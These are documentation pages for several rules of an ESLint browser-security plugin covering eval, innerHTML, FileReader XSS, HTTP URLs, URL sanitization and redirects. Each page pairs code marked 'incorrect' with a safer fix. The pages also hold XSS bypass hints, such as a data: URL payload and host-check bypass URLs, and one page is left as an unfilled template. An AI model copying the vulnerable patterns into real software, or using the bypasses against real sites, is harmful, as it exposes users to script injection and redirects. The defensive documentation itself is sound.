detected | HIGH Fix: Review and apply the recommended fix | https://owasp.org/Top10/A03_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-829](https://cwe.mitre.org/data/definitions/829.html) [OWASP:A03](https://owasp.org/Top10/A03_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Untrusted Control Sphere Inclusion detected` | | **Severity & Compliance** | Impact assessment | `HIGH` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A03_2021-Injection/) | # no-eval **CWE:** [CWE-95](https://cwe.mitre.org/data/definitions/95.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects dangerous eval() and similar code execution patterns. This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security). ⚠️ This rule ***errors*** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | --------------------------- | | **CWE Reference** | CWE-94 (Code Injection) | | **Severity** | 🔴 Critical | | **Auto-Fix** | ❌ No (requires refactoring) | | **Category** | Security | | **Best For** | All JavaScript applications | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** `eval()` and similar functions execute arbitrary code, allowing attackers to run malicious scripts if they can control the input. **Risk:** Code injection can lead to: * Complete application compromise * Data theft * Remote code execution * Cryptocurrency mining ## Dangerous Patterns [#dangerous-patterns] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569' } }}%% flowchart TD A["🔍 CallExpression Found"] --> B{"Is eval?"} B -->|Yes| C["🚨 Report Error"] B -->|No| D{"Is new Function?"} D -->|Yes| E{"Has dynamic args?"} E -->|Yes| C E -->|No| F["✅ Skip"] D -->|No| G{"Is setTimeout/setInterval?"} G -->|Yes| H{"String argument?"} H -->|Yes| C H -->|No| F G -->|No| F classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px classDef processNode fill:#eff6ff,stroke:#2563eb,stroke-width:2px classDef skipNode fill:#f1f5f9,stroke:#64748b,stroke-width:2px class A startNode class C errorNode class B,D,E,G,H processNode class F skipNode ``` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Direct eval - CRITICAL eval(userInput); eval('console.log("' + userData + '")'); // Function constructor - CRITICAL const fn = new Function(userCode); const fn = new Function('a', 'b', userExpression); // setTimeout/setInterval with strings - VULNERABLE setTimeout('doSomething(' + userId + ')', 1000); setInterval(userAction, 500); ``` ### ✅ Correct [#-correct] ```javascript // Use JSON.parse for data const data = JSON.parse(jsonString); // Use proper function references setTimeout(() => doSomething(userId), 1000); setInterval(processQueue, 500); // Use a safe expression parser for calculators import { Parser } from 'expr-eval'; const parser = new Parser(); const result = parser.evaluate(expression); ``` ## Options [#options] | Option | Type | Default | Description | | -------------------------- | --------- | ------- | -------------------------------------------------------- | | `allowInTests` | `boolean` | `false` | Skip this rule in `*.test.*` / `*.spec.*` files | | `allowFunctionConstructor` | `boolean` | `false` | Allow `new Function(...)` while still reporting `eval()` | ```json { "rules": { "browser-security/no-eval": "error" } } ``` ## Common Use Cases and Alternatives [#common-use-cases-and-alternatives] | Use Case | Instead of eval | Use This | | ------------------ | --------------------- | ----------------------------- | | JSON parsing | `eval(jsonStr)` | `JSON.parse(jsonStr)` | | Math expressions | `eval(expr)` | `expr-eval` or `mathjs` | | Dynamic property | `eval('obj.' + prop)` | `obj[prop]` | | Template rendering | `eval(template)` | Template literals, Handlebars | | Config objects | `eval(configStr)` | `JSON.parse()` or YAML parser | ## Related Rules [#related-rules] * [`no-innerhtml`](./no-innerhtml.md) - XSS via innerHTML ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Aliased eval [#aliased-eval] **Why**: eval assigned to a variable is not traced. ```typescript // ❌ NOT DETECTED - Aliased eval const execute = eval; execute(userInput); ``` **Mitigation**: Never alias eval. Use strict mode. ### Indirect eval via window [#indirect-eval-via-window] **Why**: Window property access may not be detected. ```typescript // ❌ NOT DETECTED - Indirect via window window['eval'](userInput); ``` **Mitigation**: Avoid dynamic eval invocation. ### Dynamic import() [#dynamic-import] **Why**: Dynamic import with user input is different but still dangerous. ```typescript // ❌ NOT DETECTED - Dynamic import import(userControlledPath); ``` **Mitigation**: Validate import paths. Use allowlist. ### Web Workers [#web-workers] **Why**: eval in Worker context may not be recognized. ```typescript // ❌ NOT DETECTED - Worker eval new Worker(`data:,${userCode}`); ``` **Mitigation**: Review Worker creation patterns. ## Resources [#resources] * [CWE-94: Code Injection](https://cwe.mitre.org/data/definitions/94.html) * [MDN: eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!) * [OWASP Code Injection](https://owasp.org/www-community/attacks/Code_Injection) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-94 OWASP:A05 CVSS:9.8 | Code Injection detected | CRITICAL [SOC2,PCI-DSS,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-94](https://cwe.mitre.org/data/definitions/94.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Code Injection detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [SOC2,PCI-DSS,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | # no-filereader-innerhtml > 🔒 Disallow using innerHTML with FileReader data **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-79 OWASP:A05 CVSS:6.1 | Cross-site Scripting (XSS) detected | MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:6.1](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Cross-site Scripting (XSS) detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | ## Rule Details [#rule-details] This rule prevents using `innerHTML`, `outerHTML`, `insertAdjacentHTML()`, or `document.write()` with data read from files via `FileReader`. Malicious files can contain XSS payloads that execute when rendered. ### Why is this dangerous? [#why-is-this-dangerous] ```mermaid flowchart TD A["User uploads malicious.html"] --> B["FileReader reads content"] B --> C{"How is content rendered?"} C -->|innerHTML| D["XSS Executes!"] C -->|textContent| E["Safe - Displayed as text"] C -->|DOMPurify.sanitize| F["Safe - Scripts removed"] style D fill:#ff6b6b style E fill:#51cf66 style F fill:#51cf66 ``` When you render file content with innerHTML: 1. **Uploaded HTML/SVG files can contain scripts** 2. **Scripts execute in your application context** 3. **Attacker has access to cookies, localStorage, DOM** ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Direct innerHTML with FileReader result reader.onload = (e) => { element.innerHTML = e.target.result; }; // outerHTML fileReader.onload = (event) => { container.outerHTML = event.target.result; }; // insertAdjacentHTML reader.onload = (e) => { preview.insertAdjacentHTML('beforeend', e.target.result); }; // onloadend event reader.onloadend = (e) => { output.innerHTML = e.target.result; }; ``` ### ✅ Correct [#-correct] ```javascript // Use textContent for plain text files reader.onload = (e) => { codePreview.textContent = e.target.result; }; // Sanitize before rendering HTML reader.onload = (e) => { const sanitized = DOMPurify.sanitize(e.target.result); container.innerHTML = sanitized; }; // Use intermediate sanitized variable reader.onload = (e) => { const cleanHtml = DOMPurify.sanitize(e.target.result, { ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'], ALLOWED_ATTR: ['href'], }); preview.innerHTML = cleanHtml; }; // For images, use data URLs properly reader.onload = (e) => { imagePreview.src = e.target.result; // Safe for images }; // Parse structured data (JSON, XML) reader.onload = (e) => { try { const data = JSON.parse(e.target.result); displayData(data); // Handle data programmatically } catch (err) { showError('Invalid file format'); } }; ``` ## Options [#options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "browser-security/no-filereader-innerhtml": [ "error", { "allowInTests": true } ] } ``` | Option | Type | Default | Description | | -------------- | --------- | ------- | ---------------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip checking in test files (\_.test.ts, \_.spec.ts) | ## Detection Patterns [#detection-patterns] The rule detects: 1. **`reader.onload` handlers** using innerHTML with e.target.result 2. **`reader.onloadend` handlers** with the same pattern 3. **Common reader variable names**: reader, fileReader, fr, r ## Common File Upload Attack Vectors [#common-file-upload-attack-vectors] ### Malicious HTML File [#malicious-html-file] ```html ``` ### Malicious SVG File [#malicious-svg-file] ```xml ``` ## When Not To Use It [#when-not-to-use-it] You may disable this rule if: * You're rendering only non-HTML content (plain text, JSON) * You have thorough sanitization that the rule can't detect However, **always sanitize file content** before rendering as HTML. ## Rule ownership [#rule-ownership] This rule fires **only when the receiver is positively identified** as a `new FileReader()` in the same file. `X.onload = …` on a receiver this file cannot resolve is not evidence of FileReader — it is unknown, and unknown belongs to [`no-innerhtml`](./no-innerhtml.md) / [`no-eval`](./no-eval.md), which report it without claiming a provenance they cannot prove. The two tests are complements, so exactly one rule reports any given value. Before this gate both fired at the identical range in `recommended`. A receiver that arrives as a parameter or from another module therefore falls to the generic rule. That is deliberate: the alternative is guessing. ## Related Rules [#related-rules] * [`browser-security/no-innerhtml`](./no-innerhtml.md) - General innerHTML prevention * [`browser-security/no-postmessage-innerhtml`](./no-postmessage-innerhtml.md) - postMessage XSS prevention ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Result Stored in Variable [#result-stored-in-variable] **Why**: File data stored in variables not traced. ```typescript // ❌ NOT DETECTED - Stored first reader.onload = (e) => { const content = e.target.result; element.innerHTML = content; // From variable }; ``` **Mitigation**: Always sanitize before any innerHTML assignment. ### Custom Sanitizer [#custom-sanitizer] **Why**: Non-standard sanitizer names may not be recognized. ```typescript // ❌ NOT DETECTED - Custom sanitizer element.innerHTML = myCustomSanitizer(e.target.result); ``` **Mitigation**: Configure trusted sanitizer names. ### Async Handler [#async-handler] **Why**: Async processing may break detection. ```typescript // ❌ NOT DETECTED - Async handler reader.onload = async (e) => { await delay(100); element.innerHTML = e.target.result; }; ``` **Mitigation**: Sanitize in all async paths. ## OWASP Mapping [#owasp-mapping] | Category | ID | | ----------------- | -------------------- | | OWASP Top 10 2021 | A03:2021 - Injection | | CWE | CWE-79 | | CVSS | 8.1 (High) | # no-http-urls ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | -------------------------------------- | | **Severity** | High (Insecure Communication) | | **Auto-Fix** | ❌ No (requires server-side HTTPS) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All production web and mobile apps | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Using non-encrypted HTTP protocols for network communication instead of the secure HTTPS protocol. **Risk:** Data transmitted over HTTP is sent in cleartext, making it vulnerable to Man-in-the-Middle (MITM) attacks. Passive attackers can eavesdrop on sensitive data (credentials, session tokens, PII), while active attackers can intercept and inject malicious content into the communication stream. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-319 OWASP:M5 | Insecure HTTP URL detected | HIGH [CleartextTransmission] Fix: Replace http:// with https:// to ensure encrypted communication | https://cwe.mitre.org/data/definitions/319.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-319](https://cwe.mitre.org/data/definitions/319.html) [OWASP:M5](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Insecure HTTP URL detected` | | **Severity & Compliance** | Impact assessment | `HIGH [CleartextTransmission]` | | **Fix Instruction** | Actionable remediation | `Replace http:// with https://` | | **Technical Truth** | Official reference | [Cleartext Transmission](https://cwe.mitre.org/data/definitions/319.html) | ## Rule Details [#rule-details] This rule flags any string or template literal that starts with `http://` (excluding `localhost`). It ensures that all remote API calls and resources are fetched over encrypted channels. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["URL String Detected"] --> B{"Starts with http://?"} B -->|Yes| C{"Is localhost?"} B -->|No| G["✅ Secure Protocol"] C -->|Yes| G C -->|No| D["🚨 Insecure Transmission Risk"] D --> E["💡 Upgrade to HTTPS"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------------- | ---------------------------------- | ------------------------------------------ | | 🕵️ **Eavesdropping** | Sensitive data leaked to network | Use TLS/SSL (HTTPS) for all traffic | | 🚀 **Injection** | Attackers inject malicious scripts | Enforce HSTS and secure protocol selection | | 🔒 **Compliance** | GDPR/App Store security violations | Ensure all endpoints are served over HTTPS | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Hardcoded insecure API endpoint const apiUrl = 'http://api.example.com/v1/auth'; // Fetching resource over insecure protocol fetch('http://images.example.com/user.png'); ``` ### ✅ Correct [#-correct] ```javascript // Hardcoded secure API endpoint const apiUrl = 'https://api.example.com/v1/auth'; // Fetching over secure protocol fetch('https://images.example.com/user.png'); // Local development is permitted const devUrl = 'http://localhost:3000'; ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: This rule performs simple string matching on literals. It does not trace values stored in variables or concatenated strings. ```javascript // ❌ NOT DETECTED const protocol = 'http'; const domain = 'api.com'; const url = protocol + '://' + domain; ``` **Mitigation**: Use a global configuration or environment variables that are audited for secure protocols. ### Redirects [#redirects] **Why**: This rule cannot detect if an HTTPS URL eventually redirects to an insecure HTTP URL. **Mitigation**: Implement HSTS (HTTP Strict Transport Security) on your servers. ## References [#references] * [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html) * [OWASP Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html) ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------- | ---------- | --------------------------- | ------------------------------------------------------------------ | | `allowedHosts` | `string[]` | `["localhost","127.0.0.1"]` | List of hostnames allowed to use HTTP (e.g., localhost, 127.0.0.1) | | `allowedPorts` | `number[]` | `[]` | List of ports allowed for HTTP (e.g., 3000, 8080 for development) | # no-incomplete-url-sanitization > Rejects URL checks that look like validation but cannot constrain the URL **Severity:** 🟠 HIGH\ **CWE:** [CWE-020: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\ **OWASP:** [A01:2021 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) ## Rule Details [#rule-details] Two checks that read as URL validation but cannot make the decision they are being asked to make. **A substring test standing in for a host check.** The host of a URL lives in exactly one place — the authority component — and the only way to read it is to parse the URL. `url.includes('trusted.com')` is true for `https://evil.io/?r=trusted.com` (the string is in the query) and for `https://trusted.com.evil.io/` (the string is a prefix of a different host). `indexOf(…) !== -1` and `lastIndexOf(…) !== -1` are the same test spelled differently. `lastIndexOf` is the most common way this bug is written, because it is usually reached for *intending* a suffix check — which it only becomes once the result is compared against `host.length - needle.length`. **A dangerous-scheme denylist that stops at `javascript:`.** A sanitiser that rejects `javascript:` and hands everything else through still passes `data:text/html;base64,PHNjcmlwdD4…`, which executes script in an `href` on every current browser. A denylist has to enumerate every dangerous scheme, and the list grows; an allowlist of `http:` / `https:` denies the rest by default. ### Why This Matters [#why-this-matters] * **Open redirect / SSRF**: a host allowlist that a query parameter can satisfy is not an allowlist. * **Cookie scoping**: `Domain=` derived from a substring-checked `Host` header hands the cookie to an attacker-controlled host. * **XSS**: an incomplete scheme denylist is a script-execution sink one URL away. ## ❌ Incorrect [#-incorrect] ```typescript // A substring test cannot decide the host function isTrustedApi(url: string) { return url.includes('trusted.com'); // ❌ "https://evil.io/?r=trusted.com" } // indexOf spelled the same bug function isTrustedSubdomain(hostname: string) { return hostname.lastIndexOf('.trusted.com') !== -1; // ❌ ".trusted.com.evil.io" } // A denylist that stops at javascript: function sanitizeHref(raw: string) { const value = String(raw).trim().toLowerCase(); if (value.startsWith('javascript:')) return '#'; // ❌ data: still executes return raw; } ``` ## ✅ Correct [#-correct] ```typescript // Parse, then compare the host with an explicit boundary function isTrustedApi(url: string) { try { const { hostname } = new URL(url); return hostname === 'trusted.com' || hostname.endsWith('.trusted.com'); } catch { return false; // a URL that will not parse is not trusted } } // Allowlist the schemes you support const ALLOWED_PROTOCOLS = ['http:', 'https:']; function sanitizeHref(raw: string) { try { const parsed = new URL(raw, window.location.origin); return ALLOWED_PROTOCOLS.includes(parsed.protocol) ? parsed.href : '#'; } catch { return '#'; } } ``` ## ⚙️ Configuration [#️-configuration] This rule has no configuration options. ## Known False Negatives [#known-false-negatives] ### `startsWith` / `endsWith` on a URL [#startswith--endswith-on-a-url] **Why**: `url.startsWith('https://trusted.com')` and `url.endsWith('trusted.com')` are bypassable the same way, but both are also written correctly far more often than `includes` is — `host.endsWith('.trusted.com')` with the leading dot is the recommended fix. Flagging the family wholesale would report the fix as the bug. ```typescript // ❌ NOT DETECTED if (url.startsWith('https://trusted.com')) go(url); // "https://trusted.com.evil.io" ``` **Mitigation**: compare a parsed `hostname`, never a URL prefix. ### Receivers with no name and no taint [#receivers-with-no-name-and-no-taint] **Why**: the rule needs evidence that the value under test is a URL — either a binding named for one (`url`, `host`, `origin`, `href`, …) or a taint path from a request or `location`. `value.includes('trusted.com')` on an opaque local is not enough to justify a report. ```typescript // ❌ NOT DETECTED - nothing says `value` holds a URL if (value.includes('trusted.com')) go(value); ``` **Mitigation**: name URL bindings for what they hold. ### Denylists split across functions [#denylists-split-across-functions] **Why**: the scheme denylist is judged per enclosing function. A helper that tests `javascript:` while its caller tests `data:` is reported. ```typescript // ❌ REPORTED even though the pair is complete const isJs = (u) => u.startsWith('javascript:'); const isData = (u) => u.startsWith('data:'); ``` **Mitigation**: keep the scheme decision in one place — ideally an allowlist. ## 🔗 Related Rules [#-related-rules] * [`no-insecure-redirects`](./no-insecure-redirects.md) - Redirect targets * [`require-url-validation`](./require-url-validation.md) - General URL validation * [`no-unvalidated-deeplinks`](./no-unvalidated-deeplinks.md) - Deep link targets ## 📚 References [#-references] * [CWE-020: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) * [CWE-601: URL Redirection to Untrusted Site](https://cwe.mitre.org/data/definitions/601.html) * [OWASP: Unvalidated Redirects and Forwards](https://owasp.org/www-community/vulnerabilities/Unvalidated_Redirects_and_Forwards) * [WHATWG URL Standard](https://url.spec.whatwg.org/) # no-innerhtml **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects dangerous innerHTML/outerHTML assignments that can lead to Cross-Site Scripting (XSS). This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security). ⚠️ This rule ***errors*** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | -------------------------------------------------- | | **CWE Reference** | CWE-79 (Cross-site Scripting) | | **Severity** | 🔴 Critical | | **Auto-Fix** | ✅ Yes (suggests DOMPurify) | | **Category** | Security | | **Best For** | Frontend apps, React/Vue/Angular, DOM manipulation | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Assigning unsanitized user input to `innerHTML` or `outerHTML` allows attackers to inject malicious scripts. **Risk:** XSS attacks can: * Steal session cookies and authentication tokens * Perform actions as the victim user * Redirect to phishing sites * Install keyloggers ## How XSS via innerHTML Works [#how-xss-via-innerhtml-works] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569' } }}%% sequenceDiagram participant Attacker participant Victim participant App participant AttackerServer Attacker->>App: Submit malicious input
<script>steal(cookies)</script> App->>App: Store input without sanitization Victim->>App: View page with malicious content App->>Victim: element.innerHTML = userInput Victim->>Victim: Browser executes injected script Victim->>AttackerServer: Session cookie stolen! Note over Attacker,AttackerServer: Attacker now has victim's session ``` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Direct assignment of user input - CRITICAL XSS element.innerHTML = userInput; // Template literal with user data - VULNERABLE element.innerHTML = `
${userData.name}
`; // Function result without sanitization - VULNERABLE element.innerHTML = getUserContent(); element.outerHTML = fetchedData; // React dangerouslySetInnerHTML (different rule, same concept)
; ``` ### ✅ Correct [#-correct] ```javascript // Use textContent for text - SAFE element.textContent = userInput; // Sanitize with DOMPurify - SAFE import DOMPurify from 'dompurify'; element.innerHTML = DOMPurify.sanitize(userInput); // Literal strings are safe element.innerHTML = '

Static content

'; // Create elements programmatically - SAFE const div = document.createElement('div'); div.textContent = userInput; container.appendChild(div); ``` ## Options [#options] | Option | Type | Default | Description | | --------------------- | ---------- | ----------------------------------------------------------------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `false` | Skip this rule in `*.test.*` / `*.spec.*` files | | `trustedSanitizers` | `string[]` | `["DOMPurify.sanitize","sanitize","sanitizeHtml","xss","purify"]` | Extra function names to treat as sanitizers | | `allowLiteralStrings` | `boolean` | `true` | Allow innerHTML with literal strings | ```json { "rules": { "browser-security/no-innerhtml": [ "error", { "trustedSanitizers": ["DOMPurify.sanitize", "myCustomSanitizer"], "allowLiteralStrings": true } ] } } ``` ## Best Practices [#best-practices] ### 1. Use DOMPurify [#1-use-dompurify] ```javascript import DOMPurify from 'dompurify'; function renderUserContent(html) { return DOMPurify.sanitize(html, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'], ALLOWED_ATTR: ['href'], }); } element.innerHTML = renderUserContent(userInput); ``` ### 2. Prefer textContent [#2-prefer-textcontent] ```javascript // For plain text, always use textContent element.textContent = userData.name; // Safe - no HTML parsing ``` ### 3. Use DOM APIs [#3-use-dom-apis] ```javascript // Build DOM programmatically function createComment(user, text) { const div = document.createElement('div'); div.className = 'comment'; const author = document.createElement('span'); author.textContent = user.name; // Safe const content = document.createElement('p'); content.textContent = text; // Safe div.appendChild(author); div.appendChild(content); return div; } ``` ## Related Rules [#related-rules] * [`no-eval`](./no-eval.md) - Detects dangerous eval usage * [`no-sensitive-localstorage`](./no-sensitive-localstorage.md) - Detects sensitive data in localStorage ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Content from Variable [#content-from-variable] **Why**: Content assigned to variables is not traced. ```typescript // ❌ NOT DETECTED - Content from variable const html = userInput; element.innerHTML = html; ``` **Mitigation**: Always sanitize before assignment to any variable. ### Custom Sanitizer Not Recognized [#custom-sanitizer-not-recognized] **Why**: Non-standard sanitizer names may not be detected. ```typescript // ❌ NOT DETECTED - Custom sanitizer element.innerHTML = myCustomEscape(userInput); ``` **Mitigation**: Configure `trustedSanitizers` with custom function names. ### Framework Bindings [#framework-bindings] **Why**: Framework-specific binding may not be recognized. ```typescript // ❌ NOT DETECTED - jQuery html() $element.html(userInput); // ❌ NOT DETECTED - Angular [innerHTML]
``` **Mitigation**: Use framework-specific security rules. ### Dynamic Property Assignment [#dynamic-property-assignment] **Why**: Dynamic property access is not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic property const prop = 'innerHTML'; element[prop] = userInput; ``` **Mitigation**: Avoid dynamic property assignment for DOM manipulation. ## Resources [#resources] * [CWE-79: Cross-site Scripting](https://cwe.mitre.org/data/definitions/79.html) * [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) * [DOMPurify](https://github.com/cure53/DOMPurify) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-79 OWASP:A05 CVSS:6.1 | Cross-site Scripting (XSS) detected | MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:6.1](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Cross-site Scripting (XSS) detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | # no-insecure-redirects **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) ESLint Rule: no-insecure-redirects. This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security). ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | -------------------------------------------------------------------------- | | **CWE Reference** | [CWE-601](https://cwe.mitre.org/data/definitions/601.html) (Open Redirect) | | **Severity** | Medium (security vulnerability) | | **Auto-Fix** | ❌ No | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Web applications with redirection logic | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Insecure redirects (also known as Open Redirects) occur when an application redirects the user to a URL specified by untrusted user input without validation. **Risk:** Attackers can redirect users to phishing sites (to steal credentials) or malicious sites (to download malware), leveraging the trust the user has in the original domain. ## Rule Details [#rule-details] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 Detect no insecure redirects"] --> B{"Valid pattern?"} B -->|❌ No| C["🚨 Report violation"] B -->|✅ Yes| D["✅ Pass"] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 class A startNode class C errorNode ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------------- | ----------------- | -------------------- | | 🔒 **Security/Code Quality** | \[Specific issue] | \[Solution approach] | | 🐛 **Maintainability** | \[Impact] | \[Fix] | | ⚡ **Performance** | \[Impact] | \[Optimization] | ## Configuration [#configuration] **No configuration options available.** ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Example of incorrect usage ``` ### ✅ Correct [#-correct] ```typescript // Example of correct usage ``` ## Configuration Examples [#configuration-examples] ### Basic Usage [#basic-usage] ```javascript // eslint.config.mjs export default [ { rules: { 'browser-security/no-insecure-redirects': 'error', }, }, ]; ``` ## LLM-Optimized Output [#llm-optimized-output] ``` 🚨 no insecure redirects | Description | MEDIUM Fix: Suggestion | Reference ``` ## Related Rules [#related-rules] * [`rule-name`](./rule-name.md) - Description ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static 